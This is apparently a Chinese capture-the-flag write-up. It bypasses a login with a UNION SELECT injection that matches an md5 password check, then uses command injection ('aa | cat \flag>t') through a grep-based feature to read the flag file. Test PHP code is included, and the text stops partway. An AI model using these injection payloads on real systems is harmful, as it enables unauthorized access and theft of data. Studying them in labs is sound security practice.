题目地址:跳转提示
打开网址,是一个熟悉的登陆页面,几次登录尝试发现报错回显只有一种
应当不是基于布尔的盲注,bp抓包看看:
发现响应中有一串奇怪的字符,尝试使用base64解码,得到:
这应该是一个提示,需要绕过其判断条件
这里就可以利用联合查询来注入(union select)
之前说过,union select后面加数字串时,如果没有后面的表名,则该语句没有向任何一个数据库查询,那么它输出的内容就是select后的数字,并且使用联合查询要求必须保证前后查询的字段数一致,因此要绕过判断条件,可以payload
username=admi' UNION SELECT 1,md5(11)#&password=11,登录成功
这样就相当于:
$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
if (!empty($row) && $row['password']===md5($password)){
}
要注意,提取数据时很可能只取了结果集的第一行数据,所以要保证输入的用户名是错误的,以确保$row['password']===md5(11);
实验了一下上述语句,推测$row的结构如下:
<?php
if($link=mysqli_connect("127.0.0.1","root","root","test")){
$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
if($result=mysqli_query($link,$sql)){
$raw=mysqli_fetch_array($result);
var_dump($raw);
mysqli_close($link);
}else{
echo mysqli_error;
die();
}
}else{
echo mysqli_connect_error();
die();
}
?>
果然登录成功:
随便输入ls,发现结果显示使用了grep命令
再输入命令aa | ls>t
访问网站t目录,果然看到了ls结果
于是尝试输入 aa | cat \flag>t
打开t